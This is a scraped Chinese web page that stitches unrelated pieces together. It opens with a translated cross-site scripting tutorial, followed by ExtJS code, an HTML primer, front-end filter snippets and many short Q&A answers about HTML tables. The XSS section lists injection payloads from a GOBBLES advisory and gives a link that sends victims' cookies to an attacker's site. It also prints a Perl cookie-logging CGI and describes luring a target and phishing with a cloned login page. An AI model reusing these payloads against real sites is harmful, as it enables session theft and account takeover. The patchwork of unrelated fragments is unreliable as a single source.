跨站脚本之完全总结 以前看过分析家写过一篇文章，介绍跨站脚本的安全隐患，当时只是知道有这样的问题，也没有仔细阅读，目前此类问题经常在一些安全站点发布，偶刚好看到这样一篇文章，抱着知道总比不知道好的想法，翻译整理了一下，错误之处请多多指点。什么是跨站脚本(CSS/XSS)?我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被解释执行，有时候跨站脚本被称为"XSS"，这是因为"CSS"一般被称为分层样式表，这很容易让人困惑，如果你听某人提到CSS或者XSS安全漏洞，通常指得是跨站脚本。XSS和脚本注射的区别？原文里作者是和他一个朋友(b0iler)讨论后，才明白并非任何可利用脚本插入实现攻击的漏洞都被称为XSS，还有另一种攻击方式："Script Injection",他们的区别在以下两点：1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如:sql injection,XPath injection.2.跨站脚本是临时的，执行后就消失了什么类型的脚本可以被插入远程页面？主流脚本包括以下几种：HTMLJavaScript (本文讨论)VBScriptActiveXFlash是什么原因导致一个站点存在XSS的安全漏洞？许多cgi/php脚本执行时，如果它发现客户提交的请求页面并不存在或其他类型的错误时，出错信息会被打印到一个html文件，并将该错误页面发送给访问者。例如： 404 - yourfile.html Not Found! 我们一般对这样的信息不会注意，但是现在要研究CSS漏洞的成因，我们还是仔细看一下。例：www.somesite.tld/cgi-bin/program.cgi?page=downloads.html该URL指向的连接是有效的，但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html，一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。考虑一下它是如何把我们的输入写到html文件里的？OK，现在是我们检查XSS漏洞的时候了！注意：下面仅仅是一个例子，该页面存在XSS漏洞，我们可以插入一写javascript代码到页面里。当然方法很多www.somesite.tld/cgi-bin/program.cgi?page=<script>alert("XSS_Vuln_Testing")</script>当我们提交这个URL的时候，在我们的浏览器中弹出一个消息框，"XSS_Vuln_Testing"? 这个例子只是一个XSS漏洞的简单演示，并无实际意义，但足以说明问题所在。下面我们分析一下造成该运行结果的原因，program.cgi对我们的输入没有经过有效过滤处理，就直接写入404 error页面中，结果创建了一个页面，如下： <html> <b>404</b> - <script>alert("XSS_Vuln_Testing")</script> Not Found! </html>其中的javascript脚本通过浏览器解释执行，然后就出现了你所看到的结果。如何利用XSS来完成hacking？如同前面所提到，如果用户提交的请求不能得到满足，那么服务器端脚本会把输入信息写入一个html文件，当服务器端程序对写入html文件的数据没有进行有效过滤，恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。事例：假设你发现myemailserver.tld有CSS漏洞，你想要获得其中一个人的email帐号，比如我们的目标是b00b这个人。 www.myemailserver.tld/cgi-bin/news.cgi?article=59035把上面存在CSS漏洞的连接修改一下： www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red这会创建了一个错误页面，我们得到如下信息： Invalid Input! [article=hax0red]当插入下面这样的javascript代码时，你的屏幕上会弹出一个包含test的消息框。 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert("test")</script><script>并没有打印到屏幕上，它是隐藏在背后执行，由于服务器端程序并没有对<script>alert("test")</script>进行有效过滤，所以在页面发回到浏览器并执行了该脚本。下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱，首先你必须知道b00b的email地址，并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接，嘿嘿，当然它的用意就是从b00b机器中cookie信息里获得自己想要的东东。想办法让b00b访问myemailserver.tld站点发表的文章，比如说："亲爱的b00b,看看这个美女如何呀？"那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取并保存cookie的脚本 </script>连接时，发生什么事情？cookie都有了，你该知道怎么办了吧！如果在你目前不是这样的情形，你可以拷贝email服务器的登陆页面，挂到其他的系统上，然后引导用户登陆你的恶意系统页面这样用户信息你可以记录下来，然后再把记录的信息发送回真正的email服务器页面，那些笨蛋并不会意识到实际发生的事情。把javascript脚本插入WEB页面的不同方法：<snip>拷贝自：GOBBLES SECURITY ADVISORY #33Here is a cut-n-paste collection of typical JavaScript-injection hacksyou may derive some glee from playing with. <a href="javascript#[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> [IE] <input type="image" dynsrc="javascript:[code]"> [IE] <bgsound src="javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src=&{[code]};> [N4] <link rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> <div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!--</style><script>[code]//--></script> <![CDATA[<!--]]><script>[code]//--></script> <!-- -- --><script>[code]</script><!-- -- --> <script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [xC0][xBC]script>[code][xC0][xBC]/script> [UTF-8; IE, Opera]----Copied from GOBBLES SECURITY ADVISORY #33----</snip>一个真正的获取cookie并且做记录的例子：注意：要使它工作，你的浏览器必须允许接受http://website.tld站点发送的cookies，当我测试下面的信息时，使用javascript创建访问者的cookies，javascript脚本放在index.html文件中。OK，下面假设http://website.tld存在XSS攻击的安全隐患，存在漏洞的连接是：http://website.tld/program.cgi?input=<evil javascript>我们创建这样一个连接：http://website.tld/program.cgi?input=<script>document.location="http://yoursite.tld/cgi-bin/evil_cookie_logger.cgi?"+document.cookie</script>然后让保存该站点cookie的用户访问这个连接：这是我们的CGI脚本，它的作用就是对用户cookie做记录：---------evil_cookie_logger.cgi-----------#!/usr/bin/perl# evil_cookie_logger.cgi# remote cookie logging CGI coded by BrainRawt## NOTE: coded as a proof of concept script when testing for# cross-site scripting vulnerabilities.$borrowed_info = $ENV{"QUERY_STRING"};$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:text/html something went wrong "; print EVIL_COOKIE_LOG "$borrowed_info "; print "Content-type: text/html ";close(EVIL_COOKIE_LOG);------------------------------------------该脚本首先通过 $ENV{"QUERY_STRING"}获得cookie，打印到$borrowed_info变量里，通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log")，把cookie信息保存到evil_cookie_log文件。注意：上面的javascript脚本，可能在一些浏览器或者站点上不能执行，这仅仅是我在自己的站点上做测试用的。如何防范XSS攻击？1.在你的WEB浏览器上禁用javascript脚本2..开发者要仔细审核代码，对提交输入数据进行有效检查，如"<"和">"。 可以把"<"，">"转换为<，>注意：由于XSS漏洞可被利用的多样性，程序员自己要明白具体需要过滤的字符，这主要依赖于所开发程序的作用，建议过滤掉所有元字符，包括"="。对受害者来说不要访问包含<script>字符的连接，一些官方的URL不会包括任何脚本元素。

　　在网页要显示程序源代码的地方插入以下代码（其中的class="js"表示以js语法显示源代码，其他可设定的class值分别为c#、css、c、delphi、java、js、php、python、ruby、sql、vb、xml）： u200b　　<textarea name="code" class="js" rows="15" cols="100">　　//程序源代码放在这儿</textarea>

<center>标签HTML5不支持，所以会出现这样的提示。解决方法-需要做取舍：1.如果使用HTML5标准，就不用<center>标签，采用CSS实现居中。2. 如果坚持使用<center>标签，就得使用HTML4标准。修改<!doctype>。建议丢弃<center>标签，使用CSS实现居中。

相对引用写错了，用＼

1、路径不对 2、如果是JSP可能是web.xml没有配置

1、所有的命名最好都小写2、属性的值一定要用双引号("")括起来，且一定要有值如 class="helloweb" , id="helloweb"3、每个标签都要有开始和结束，且要有正确的层次，排版有规律工整4、空元素要有结束的tag或于开始的tag后加上"/"5、表现与结构完全分离，代码中不涉及任何的表现元素，如：style、font、bgColor、border 等6、<h1>到<h6>的定义，应遵循从大到小的原则，体现文档的结构，并有利于搜索引擎的查询。7、给每一个表格和表单加上一个唯一的、结构标记 id8、给图片加上alt 标签，优点是在于在图片发生错误时，alt 可以体现给用户9、尽量使用英文命名原则10、尽量不缩写，除非一看就明白的单词下面介绍常见CSS命名和DIV CSS命名方法。二、相对网页外层重要部分CSS样式命名外套 wrap ------------------用于最外层头部 header ---------------用于头部主要内容 main ------------用于主体内容（中部）左侧 main-left -------------左侧布局右侧 main-right -----------右侧布局导航条 nav -----------------网页菜单导航条内容 content --------------用于网页中部主体底部 footer -----------------用于底部

去掉apache也可以，直接走resin。apache配置太复杂，且resin的静态文件处理能力也不弱

01.Ext.define("Ext.ux.form.MyEditor", { 02. 03. alias: "widget.myeditor", 04. 05. extend: "Ext.form.field.HtmlEditor", 06. 07. requires: ["Ext.form.field.HtmlEditor"], 08. 09. createToolbar: function(){ 10. var me = this; 11. me.callParent(arguments); 12. me.toolbar.insert(17, { 13. xtype: "button", 14. icon: "/admin/extjs/resources/images/picture.png", 15. handler: this.showImgUploader, 16. scope: this 17. }); 18. return me.toolbar; 19. }, 20. 21. showImgUploader: function(){ 22. var editor = this; 23. var imgform = Ext.create("Ext.tab.Panel", { 24. region: "left", 25. border: false, 26. activeTab: 0, 27. items: [{ 28. title: "本地图片", 29. icon: "extjs/resources/images/computer.png", 30. layout: "fit", 31. items: [{ 32. xtype: "form", 33. border: false, 34. bodyPadding:10, 35. items: [{ 36. xtype: "filefield", 37. labelWidth: 70, 38. fieldLabel: "图片", 39. buttonText: "浏览", 40. name: "pic", 41. allowBlank: false, 42. blankText: "文件不能为空", 43. anchor: "100%" 44. }, { 45. xtype: "textfield", 46. labelWidth: 70, 47. fieldLabel: "标题", 48. name: "title", 49. allowBlank: false, 50. blankText: "标题不能为空", 51. anchor: "100%" 52. }, { 53. layout: "column", 54. border: false, 55. items: [{ 56. layout: "form", 57. columnWidth:.36, 58. xtype: "numberfield", 59. labelWidth: 70, 60. fieldLabel: "尺寸(宽x高)", 61. name: "width" 62. },{ 63. columnWidth:.05, 64. xtype: "label", 65. html: " px" 66. },{ 67. layout: "form", 68. xtype: "numberfield", 69. columnWidth:.15, 70. name: "height" 71. },{ 72. columnWidth:.05, 73. xtype: "label", 74. html: " px" 75. }] 76. }], 77. dockedItems: [{ 78. xtype: "toolbar", 79. dock: "bottom", 80. layout: { pack: "end" }, 81. items: [{ 82. text: "上传", 83. formBind: true, 84. handler: function(obj) { 85. var f = obj.up("form"); 86. if (!f.getForm().isValid()) { 87. return; 88. } 89. var vals = f.getForm().getValues(); 90. f.submit({ 91. waitMsg: "图片上传中..", 92. waitTitle: "提示", 93. url: editor.url, //点击插入执行的方法,将图片保存到服务器上 94. success: function(form, action) { 95. var element = document.createElement("img"); 96. element.src = action.result.message; 97. if(vals.width>0 && vals.height>0){ 98. element.width = vals.width; 99. element.height = vals.height; 100. } 101. if (Ext.isIE) { 102. editor.insertAtCursor(element.outerHTML); 103. } else { 104. var selection = editor.win.getSelection(); 105. if (!selection.isCollapsed) { 106. selection.deleteFromDocument(); 107. } 108. selection.getRangeAt(0).insertNode(element); 109. } 110. win.hide(); 111. }, 112. failure: function(form, action) { 113. form.reset(); 114. if (action.failureType == Ext.form.action.Action.SERVER_INVALID){ 115. Ext.MessageBox.show({ 116. title: "错误", 117. msg: action.result.msg, 118. icon: Ext.MessageBox.ERROR, 119. buttons: Ext.Msg.OK 120. }); 121. } 122. } 123. }); 124. } 125. }, { 126. text: "取消", 127. handler: function() { 128. win.hide(); 129. } 130. }] 131. }] 132. }] 133. }, { 134. title: "远程图片", 135. icon: "extjs/resources/images/link.png", 136. layout: "fit", 137. items: [{ 138. xtype: "form", 139. border: false, 140. bodyPadding:10, 141. items: [{ 142. xtype: "textfield", 143. vtype: "url", 144. labelWidth: 70, 145. fieldLabel: "图片URL", 146. anchor: "100%", 147. name: "pic", 148. allowBlank: false, 149. blankText: "图片URL不能为空" 150. }, { 151. layout: "column", 152. border: false, 153. items: [{ 154. layout: "form", 155. columnWidth:.36, 156. xtype: "numberfield", 157. labelWidth: 70, 158. fieldLabel: "尺寸(宽x高)", 159. name: "width" 160. },{ 161. columnWidth:.05, 162. xtype: "label", 163. html: " px" 164. },{ 165. layout: "form", 166. xtype: "numberfield", 167. columnWidth:.15, 168. name: "height" 169. },{ 170. columnWidth:.05, 171. xtype: "label", 172. html: " px" 173. }] 174. }], 175. dockedItems: [{ 176. xtype: "toolbar", 177. dock: "bottom", 178. layout: { pack: "end" }, 179. border: false, 180. items: [{ 181. text: "添加", 182. formBind: true, 183. handler: function(obj) { 184. var f = obj.up("form"); 185. if (!f.getForm().isValid()) { 186. return; 187. } 188. var vals = f.getForm().getValues(); 189. var pic = vals.pic; 190. var fileext = pic.substring(pic.lastIndexOf("."), pic.length).toLowerCase(); 191. if (fileext != ".jpg" && fileext != ".gif" && fileext != ".jpeg" && fileext != ".png" && fileext != ".bmp") { 192. f.items.items[0].setValue(""); 193. Ext.Msg.show({ 194. title: "提示", 195. icon: "ext-mb-error", 196. width: 300, 197. msg: "对不起，系统仅支持标准格式的照片，请调整格式后重新上传，谢谢 ！", 198. buttons: Ext.MessageBox.OK 199. }); 200. return; 201. } 202. var element = document.createElement("img"); 203. element.src = pic; 204. if(vals.width>0 && vals.height>0){ 205. element.width = vals.width; 206. element.height = vals.height; 207. } 208. if(Ext.isIE) { 209. editor.insertAtCursor(element.outerHTML); 210. }else{ 211. var selection = editor.win.getSelection(); 212. if(!selection.isCollapsed) { 213. selection.deleteFromDocument(); 214. } 215. selection.getRangeAt(0).insertNode(element); 216. } 217. win.hide(); 218. } 219. }, { 220. text: "取消", 221. handler: function() { 222. win.hide(); 223. } 224. }] 225. }] 226. }], 227. }] 228. }); 229. var win = Ext.create("Ext.Window", { 230. title: "插入图片", 231. icon: "/admin/extjs/resources/images/picture.png", 232. width: 400, 233. height: 175, 234. plain: true, 235. modal: true, 236. closeAction: "hide", 237. resizable: false, 238. border: false, 239. layout: "fit", 240. items: imgform 241. }); 242. win.show(this); 243. } 244. 245.});

Hypertext Markup Language, 中文也就是超文本链接标示语言。HTML（HyperTextMark-upLanguage）即超文本标记语言，是WWW的描述语言。设计HTML语言的目的是为了能把存放在一台电脑中的文本或图形与另一台电脑中的文本或图形方便地联系在一起，形成有机的整体，人们不用考虑具体信息是在当前电脑上还是在网络的其它电脑上。我们只需使用鼠标在某一文档中点取一个图标，Internet就会马上转到与此图标相关的内容上去，而这些信息可能存放在网络的另一台电脑中。 HTML文本是由HTML命令组成的描述性文本，HTML命令可以说明文字、图形、动画、声音、表格、链接等。HTML的结构包括头部（Head）、主体（Body）两大部分，其中头部描述浏览器所需的信息，而主体则包含所要说明的具体内容。 另外，HTML是网络的通用语言,一种简单、通用的全置标记语言。它允许网页制作人建立文本与图片相结合的复杂页面，这些页面可以被网上任何其他人浏览到，无论使用的是什么类型的电脑或浏览器。神奇吗?一点都不神奇,因为现在你看到的就是这种语言写的页面.哈哈. 也许你听说过许多可以编辑网页的软件,事实上,你不需要用任何专门的软件来建立HTML页面；你所需要的只是一个文字处理器（如McrosoftWord记事本写字板等等）以及HTML的工作常识。其实你很快就会发现,基础的HTML语言简直容易死了。 HTML只不过是组合成一个文本文件的一系列标签。它们很乐队的指挥,告诉乐手们哪里需要停顿,哪里需要激昂. HTML标签通常是英文词汇的全称（如块引用:blockquote）或缩略语（如“p”代表Paragragh），但它们的与一般文本有区别，因为它们放在单书名号里。故Paragragh标签是,块引用标签是。有些标签说明页面如何被格式化（例如，开始一个新段落），其他则说明这些词如何显示(使文字变粗)还有一些其他标签提供在页面上不显示的信息－－例如标题。 关于标签，需要记住的是，它们是成双出现的。每当使用一个标签－－如,则必须以另一个标签将它关闭。注意“blockquote”前的斜杠，那就是关闭标签与打开标签的区别。 基本HTML页面以标签开始，以结束。在它们之间，整个页面有两部分－－标题和正文。 标题词－－夹在和标签之间－－这个词语在打开页面时出现在屏幕底部最小化的窗口。正文则夹在和之间－－即所有页面的内容所在。页面上显示的任何东西都包含在这两个标签之中。 那么让我们建立一个简单的范例吧，非常容易的。第一步，当然是要建立一个新的文本文件（记住，如果你在使用比较复杂的文字处理器，就应该用“纯文本”或“普通文本”来保存），将它命名为“xxxx.html”。(随便你起一个什么名字,但记住,要用英文)

在获取富文本后，又只要显示部分内容，需要去除富文本标签，然后再截取其中一部分内容；然后就是过滤器，在微信小程序中使用还是挺多次的，在vue及react中也遇到过1.富文本去除html标签去除html标签及 空格let richText = " <p style="font-size: 25px;color: white">sdaflsjf的丰富及饿哦塞尔</p><span>dsfjlie</span>";/* 去除富文本中的html标签 *//* *、+限定符都是贪婪的，因为它们会尽可能多的匹配文字，只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。*/let content = richText.replace(/<.+?>/g, "");console.log(content);/* 去除 */content = content.replace(//ig, "");console.log(content);/* 去除空格 */content = content.replace(/s/ig, "");console.log(content);截取字符串content = formatRichText(content);console.log(content);/* 使用substring来截取字符串 */if (content.length > 10) { content = content.substring(0, 10) + "...";}console.log(content);/* 限制字数后添加省略号 */function formatRichText(richText) { let temporaryText = ""; /* 设置多长后添加省略号 */ const len = 142; if (richText.length * 2 <= len) { return richText; } /* 用于记录文字内容的总长度 */ let strLength = 0; for (let i = 0; i < richText.length; i++) { temporaryText = temporaryText + richText.charAt(i); /* charCodeAt()返回指定位置的字符的Unicode编码，值为128以下时一个字符占一位，当值在128以上是一个字符占两位 */ if (richText.charCodeAt(i) > 128) { strLength = strLength + 2; if (strLength >= len) { return temporaryText.substring(0, temporaryText.length - 1) + "..."; } } else { strLength = strLength + 1; if (strLength >= len) { return temporaryText.substring(0, temporaryText.length - 2) + "..."; } } } return temporaryText;}2.vue中使用过滤器filters: { localData(value) { let date = new Date(value * 1000); let Month = date.getMonth() + 1; let Day = date.getDate(); let Y = date.getFullYear() + "年"; let M = Month < 10 ? "0" + Month + "月" : Month + "月"; let D = Day + 1 < 10 ? "0" + Day + "日" : Day + "日"; let hours = date.getHours(); let minutes = date.getMinutes(); let hour = hours < 10 ? "0" + hours + ":" : hours + ":"; let minute = minutes < 10 ? "0" + minutes : minutes; return Y + M + D + " " + hour + minute; }}/* 使用，直接在div中添加就可以了，| 前面的是参数，后面的是过滤器 */<div class="time">{{data.etime | localData}}</div>3.微信小程序中使用过滤器新建.wxs文件var localData = function (value) { var date = getDate(value * 1000); var Month = date.getMonth() + 1; var Day = date.getDate(); var hours = date.getHours(); //计算剩余的小时 var minutes = date.getMinutes(); //计算剩余的分钟 var Y = date.getFullYear() + "-"; var M = Month < 10 ? "0" + Month + "-" : Month + "-"; var D = Day + 1 < 10 ? "0" + Day + "" : Day + ""; var H = hours < 10 ? "0" + hours + ":" : hours + ":" var m = minutes < 10 ? "0" + minutes : minutes; return Y+M + D + " " + H + m;}module.exports = { localData: localData}使用,用<wxs />标签来引入，src为路径，module为引入的文件模块名<wxs src="./filters.wxs" module="tool" /><text class="scoreText">{{tool.filterScore(item.shop.score)}}分</text>直接在.wxml文件中用<wxs></wxs>包裹<wxs module="foo">var some_msg = "hello world";module.exports = { msg : some_msg,}</wxs><view> {{foo.msg}} </view>4.react中使用react中使用，其实就是定义一个方法import noBanner from "@/assets/storeDetail/no-banner.jpg"const filterImg = item => { let bgImg; if (item.shopimages == null) { bgImg = noBanner; } else { bgImg = item.shopimages[0]; } return bgImg;};/* 使用 */ <img src={filterImg(storeitem)} className={style.topImg} alt="" />总结以上所述是小编给大家介绍的如何去除富文本中的html标签及vue、react、微信小程序中的过滤器，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持！

th 元素内部的文本通常会呈现为居中的粗体文本。看一下你的css中 tablelist的css是否定义下了th 或 td的样式。

百度js模态对话框.你会得到更优质的回答.

看不懂 是不是少了个释放的方法？？

代码如下：<table><tr><td></td><td></td></tr><tr><td></td><td></td></tr><tr><td></td><td></td></tr></table>扩展资料<table>标签定义和用法<table> 标签定义 HTML 表格。简单的 HTML 表格由 table 元素以及一个或多个 tr、th 或 td 元素组成。tr 元素定义表格行，th 元素定义表头，td 元素定义表格单元。更复杂的 HTML 表格也可能包括 caption、col、colgroup、thead、tfoot 以及 tbody 元素。

http://www.bjpeu.edu.cn/~yanglb/html/这里有详细的解释，你应该会明白哦~

<table是<tr的上层标签<tr必须在一个<table</table里面,它不能单独使用,相当于<table的属性标签.<table标示一个表格,<tr标示这个表格中间的一个行<td标示行中的一个列,需要嵌套在<tr</tr中间具体格式是:(两行两列)<table<tr<td</td<td</td</tr</teble<th和<td一样,也是需要嵌套在<tr当中的,<tr嵌套在<table当中<table...</table 用于定义一个表格开始和结束<th...</th 定义表头单元格。表格中的文字将以粗体显示（<TH与<TD同样是标示一个储存格,唯一不同的是<TH所标示的储存格中的文字是以粗体出现,即可以这样看：<th文字</th=<td<b文字</b</td），在表格中也可以不用此标签，<th标签必须放在<tr标签内<tr...</tr 定义一行标签，一组行标签内可以建立多组由<td或<th标签所定义的单元格<td...</td 定义单元格标签，一组<td标签将将建立一个单元格，<td标签必须放在<tr标签内。<th为表格标题，属性summar为摘要，<caption标签为首部说明，<thead标签为表格头部，<tbody标签为表格主体内容，<tfoot标签为表格尾部。其中还可以使用scope 可用于取代headers属性，标记含有表头信息的单元格，其中各数值的内容如下：　row 指示当前单元格，为包含当前单元格的行提供相关的表头信息。　col 指示当前单元格，为根据当前单元格指定的列提供相应的表头信息。　rowgroup 指示当前单元格，为包含当前单元格的其余行组提供相关的表头信息。　colgroup 指示当前单元格，为根据当前单元格指定的其余列组提供相应的表头信息。abbr 用于定义表头单元格中的缩写名，如果没有定义该属性源码天空，则将默认单元格内容为节略形式。标准表格模型<table<caption</caption<thead<tr<th</th</tr</thead<tbody<tr<td</td</tr</tbody<tfoot<tr<td</td</tr</tfoot</table相关：<th不光是粗体，还是居中的<caption也是居中的，而且如果table有border的话则caption不在border之内

td大概是是table data的缩写吧？反正我是这样记的。

<table>//表格<thead>//表格表头<tr>//表格一行<td>//表格一行里的一 格<br>换行<dr>// 这标签没见过，不清楚什么意思，应该是随便加的一个标签！

百度上搜TBODY前几条都是你要的答案

一、动态加载表格 1.首先在html中为表格的添加位置设置id 即是在html的body标签内部写一个div标签表明表格要添加到此div的内部。如下 <div id="tdl"><div> 2.在javascript中写添加表格的语句 若在当前html文件中，则写在<script>标签内部，如 复制代码 代码如下:<script type="text/javascript" > document.getElementById("tbl").innerHTML="<table><tr><td></td></tr></table>" //此处添加的表格可根据自己需要创建 </script> 若是通过引入js文件，则在js文件（假设是test.js）中直接写如下语句 复制代码 代码如下:document.getElementById("tbl").innerHTML="<table><tr><td></td></tr></table>" 然后再引入自己的html文件 复制代码 代码如下:<script type="text/javascript" src="test.js"></script> 二、 动态添加表格行 1.首先在html中为表格行的添加位置设置id，此位置必须是<tbody>内部（不是特别准确，但根据我的测试就得到此结论，有其他的方法请留言，谢谢），如下 复制代码 代码如下:<table> <thead></thead> <tfoot><tfoot> //tfoot与thead是与tbody配套使用，但我在写的时候，没用也可以。 <tbody id="rows"></tbody> </table> [sS ]* 2.在javascript内容中，要先创建行和单元格，再在<.tbody>中添加行，如下 [code] row=document.createElement("tr"); //创建行 td1=document.createElement("tr"); //创建单元格 td1.appendChild(document.createTextNode("content")); //为单元格添加内容 row.appendChild(td1); //将单元格添加到行内 document.getElementById("rows").append(row); //将行添加到<tbody>中

有作用的……如果你的表格非常大，内容非常多，那么这个表格就要等表格内容全部下载完才会显示。如果你要下载一部分显示一部分的话，你就得把它拆分成多个表格，这样每下载一个表格就会显示一个表格。但如果因为某种原因你不想拆分表格，那就将一部分<tr></tr>用<tbody></tbody>来分开，这样的话每个<tbody>下载完后就会显示，而不必等整个<table>下载完毕。明白了吗？

不符合问题

可以呀，可以一起使用呀。

不是，是代表每一行，行里面再分每个单元格，<th>才表示表头，比如下面就是一行表头加两行表体：<tr><th>表头1</th><th>表头2</th><th>表头3</th></tr><tr><td>行1单元格1</td><td>行1单元格2</td><td>行1单元格3</td></tr><tr><td>行2单元格1</td><td>行2单元格2</td><td>行2单元格3</td></tr>也可以把表头单独放入<thead>标签中（表体则放入tbody标签中）：<thead><tr><th>表头1</th><th>表头2</th><th>表头3</th></tr></thead><tbody><tr><td>行1单元格1</td><td>行1单元格2</td><td>行1单元格3</td></tr><tr><td>行2单元格1</td><td>行2单元格2</td><td>行2单元格3</td></tr></tbody>所以严格来说，<thead>才是真正的表头

看个人喜好，可以不加的~加上只是为了规范而已

tr在表格中代表行dr有这个标签吗？没用过……thead在表格中代表表头table代表表格的主题部分td在表格中代表列

<thead>是表头。是<table>标签的属性。<th>与<td》差不多。《th》效果就是加粗了点。其实差不多 没必要纠结这么多。。

你要显示什么呢？能说清楚点吗？

HTML中的table可以大致分为三个部分：thead ----------表头tbody ----------表躯干tfoot ----------表注一般来说：数据的标题放在thead里面，数据放在tbody里面，表格的注释放在tfoot里面。thead, tbody, tfoot三个标签的使用目的是把一个表格分成三个大的部分，每个部分存放不同的东西，这样这个表格就会比较有结构。所以说：thead, tbody, tfoot相当于三间房子，每间房子都可以用来放东西，主要是把比较相同的东西放在一个房间，这样就容易区分。<tr></tr>这个标签就是放在三间房子里面的东西，每一个<tr></tr>就是表格一行，你如果打开一张Excel表格就会发现每张表格都是一行一行的。表格的每一行都分为一个一个的小格子，这个就叫------单元格。每一个单元格就是用来存放数据的，这个数据分为两种：一，数据的名称；二，数据本身。比如一张课程表： 星期一 星期二8:00 语文 数学10:00 历史 政治其中的“星期一” “星期二” “8:00” “10:00” “语文” “数学” “历史” “政治”都是数据，却在于，“星期一” “星期二” “8:00” “10:00”等于数据的名称，“语文” “数学” “历史” “政治”才是真正的数据。在HTML中，为了把数据名称和真正的数据区别开来，用<th></th>表示数据的名称，也就是标题。<td></td>表示真正的数据内容。所以，以上的那张表格如果用HTML写，那么“星期一” “星期二” “8:00” “10:00”都放在<th></th>里面；“语文” “数学” “历史” “政治”则放在<td></td>里面。